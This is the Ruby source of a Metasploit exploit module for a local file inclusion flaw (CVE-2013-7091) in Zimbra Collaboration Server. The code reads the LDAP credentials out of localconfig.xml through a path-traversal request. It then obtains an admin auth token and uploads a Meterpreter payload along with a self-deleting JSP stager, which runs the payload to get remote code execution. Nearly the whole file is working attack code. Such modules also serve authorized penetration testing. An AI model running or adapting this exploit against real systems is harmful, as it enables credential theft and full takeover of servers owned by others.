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metasploit-framework
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metasploit-framework/modules/exploits/unix/webapp/zimbra_lfi.rb

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Ruby
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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
Rank = GreatRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Zimbra Collaboration Server LFI',
'Description' => %q{
A Local file inclusion exists in versions 8.0.2, 7.2.2 and possibly other versions which allows an attacker to get the LDAP
credentials from the localconfig.xml file. The stolen credentials enables the attacker to make requests to the service/admin/soap API. This can then be used
to create an authentication token for the admin web interface where an administrative user can be added or code execution could be leveraged.
Tested on Zimbra Collaboration Server 8.0.2 with Ubuntu Server 12.04.
},
'Author' =>
[
'rubina119', # Vulnerability discovery
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ "CVE", "2013-7091" ],
[ "EDB", "30085" ],
[ 'URL', "http://cxsecurity.com/issue/WLB-2013120097" ]
],
'Privileged' => false,
'Platform' => ['linux'],
'Targets' =>
[
[ 'Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => "Dec 06 2013"
))
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 7071])
])
register_advanced_options(
[
OptBool.new('SSL', [ true, 'Negotiate SSL for outgoing connections', true]),
OptString.new('ALTDIR', [ false, 'Alternative zimbraAdmin directory', "zimbraAdmin"])
])
end
def check
uri = target_uri.path
turl = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
#doesnt want to play nice if used with vars_get
res = send_request_cgi({
'uri' => normalize_uri(uri, datastore['ALTDIR'], turl),
'method' => 'GET',
})
unless res and res.code == 200
return Exploit::CheckCode::Safe
end
#this response is ~100% gzipped
begin
text = Rex::Text.ungzip(res.body)
rescue Zlib::GzipFile::Error
text = res.body
end
if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
uri = target_uri.path
turl = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
#doesnt want to play nice if used with vars_get
res = send_request_cgi({
'uri' => normalize_uri(uri, datastore['ALTDIR'], turl),
'method' => 'GET'
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
end
print_status("#{peer} - Getting login credentials...")
#this response is ~100% gzipped
begin
text = Rex::Text.ungzip(res.body)
rescue Zlib::GzipFile::Error
text = res.body
end
if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/
zimbra_user = $1
else
fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials")
end
if text =~ /name=\\"zimbra_ldap_password\\">";\sa\["<value>(.*)<\/value>/
zimbra_pass = $1
else
fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials")
end
print_good("#{peer} - Got login credentials!")
print_status("#{peer} - Getting auth token...")
soap_req = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
soap_req << "<env:Envelope xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:ns1=\"urn:zimbraAdmin\" xmlns:ns2=\"urn:zimbraAdmin\"><env:Header><ns2:context/>"
soap_req << "</env:Header><env:Body><ns1:AuthRequest><account by=\"name\">#{zimbra_user}</account><password>#{zimbra_pass}</password></ns1:AuthRequest></env:Body></env:Envelope>"
res = send_request_cgi({
'uri' => normalize_uri(uri, "/service/admin/soap"),
'method' => 'POST',
'ctype' => 'application/soap+xml; charset="utf-8"',
'headers' =>
{
'SOAPAction' => '"urn:zimbraAdmin#AuthRequest"',
},
'data' => soap_req
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to access service URL")
end
if res.body =~ /<authToken>(.*)<\/authToken>/
auth_token = $1
else
fail_with(Failure::Unknown, "#{peer} - Unable to get auth token")
end
cookie = "ZM_ADMIN_AUTH_TOKEN=#{auth_token}"
print_good("#{peer} - Got auth token!")
#the initial POC for this vuln shows user creation with admin rights for the web interface, thats cool but a shell is even cooler
#the web interface has a function to upload the latest version of the desktop client via /service/extension/clientUploader/upload/
#the intent is for a ZCO file, whatever that is. However any file will do and it's placed in /downloads/ which we can reach, how handy!
#push our meterpreter and then a stager jsp file that sets correct permissions, executes the meterpreter and removes itself afterwards
payload_name = rand_text_alpha(8+rand(8))
stager_name = rand_text_alpha(8+rand(8)) + ".jsp"
req_id = rand_text_numeric(2).to_s
stager = gen_stager(payload_name)
dpayload = generate_payload_exe
#upload payload
print_status("#{peer} - Uploading .JSP stager and payload")
post_data = Rex::MIME::Message.new
post_data.add_part("#{payload_name}", nil, nil, "form-data; name=\"filename1\"")
post_data.add_part("#{dpayload}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{payload_name}\"")
post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"")
n_data = post_data.to_s
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
res = send_request_cgi({
'uri' => normalize_uri(uri, "/service/extension/clientUploader/upload/"),
'method' => 'POST',
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => n_data,
'cookie' => cookie
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to get upload payload")
end
#upload jsp stager
post_data = Rex::MIME::Message.new
post_data.add_part("#{stager_name}", nil, nil, "form-data; name=\"filename1\"")
post_data.add_part("#{stager}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{stager_name}\"")
post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"")
n_data = post_data.to_s
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
res = send_request_cgi({
'uri' => normalize_uri(uri, "/service/extension/clientUploader/upload/"),
'method' => 'POST',
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => n_data,
'cookie' => cookie
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to upload stager")
end
print_good("#{peer} - Stager and payload uploaded!")
print_status("#{peer} - Stager at #{peer}/downloads/#{stager_name}")
print_status("#{peer} - Executing payload!")
res = send_request_cgi({
'uri' => normalize_uri(uri, "downloads", stager_name),
'method' => 'GET',
})
end
def gen_stager(payload_name)
stager = "<%@ page import=\"java.util.*,java.io.*\"%>"
stager += " <%"
stager += " String uri = request.getRequestURI();"
stager += " String filename = uri.substring(uri.lastIndexOf(\"/\")+1);"
stager += " String jspfile = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/\" + filename;"
stager += " String payload = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/#{payload_name}\";"
stager += " Runtime.getRuntime().exec(\"chmod 700 \" + payload);"
stager += " Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");"
stager += " Runtime.getRuntime().exec(\"rm \" + jspfile);"
stager += "%>"
return stager
end
end
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